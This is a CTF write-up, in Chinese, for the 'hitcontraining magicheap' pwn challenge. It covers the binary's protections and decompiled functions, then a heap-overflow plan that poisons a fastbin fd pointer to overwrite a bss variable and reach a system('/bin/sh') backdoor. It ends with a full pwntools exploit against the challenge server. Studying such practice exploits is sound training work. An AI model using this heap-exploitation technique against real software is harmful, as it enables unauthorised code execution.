hitcontraining magicheap
# hitcontraining magicheap
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/hitcontraining_magicheap/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
create_heap函数如下:
unsigned __int64 create_heap()
{
signed int index; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( index = 0; index <= 9; ++index )
{
if ( !heaparray[index] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[index] = malloc(size);
if ( !heaparray[index] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[index], size); //堆溢出
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
delete_heap函数如下:
int delete_heap()
{
int v1; // [rsp+8h] [rbp-8h]
char buf; // [rsp+Ch] [rbp-4h]
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
free(heaparray[v1]);
heaparray[v1] = 0LL;
return puts("Done !");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
edit_heap函数如下:
int edit_heap()
{
__int64 v1; // [rsp+0h] [rbp-10h]
size_t v2; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, &v1 + 4, 4uLL);
LODWORD(v1) = atoi(&v1 + 4);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
printf("Size of Heap : ", &v1 + 4, v1);
read(0, &v1 + 4, 8uLL);
v2 = atoi(&v1 + 4);
printf("Content of heap : ", &v1 + 4, v1);
read_input(heaparray[v1], v2); //堆溢出
return puts("Done !");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
menu函数如下:
int menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
l33t函数如下:
int l33t()
{
return system("/bin/sh");
}
1
2
3
4
2
3
4
read_input函数如下:
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax
result = read(0, a1, a2);
if ( result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 思路分析
目前信息:
- 程序存在堆溢出点
- 存在后门函数
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- 堆溢出修改
fastbin
的fd
指针,将bss段上的magic
伪造成释放堆块,再申请回来修改数据后,调用后门函数即可获得shell
- 堆溢出修改
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_magicheap/magicheap'
io = remote('node4.buuoj.cn', 26156)
# io = process(pwnfile)
def Create(io, size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap :", str(size))
io.sendlineafter("Content of heap:", content)
def Edit(io, index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap :", str(len(content)))
io.sendlineafter("Content of heap :", content)
def Delete(io, index):
io.sendlineafter("Your choice :", '3')
io.sendlineafter("Index :", str(index))
def Backdoor(io):
io.sendlineafter("Your choice :", '4869')
Create(io, 0x10, 'aaaa') # 0
Create(io, 0x60, 'bbbb') # 1
Delete(io, 1)
magic = 0x6020A0
fake_fd = magic-0x13
payload = flat(['a'*0x10, 0, 0x71, fake_fd])
Edit(io, 0, payload)
Create(io, 0x60, 'cccc')
payload = flat(['a'*0x3, 0x1306])
Create(io, 0x60, payload)
Backdoor(io)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
上次更新: 2022/08/15, 00:29:49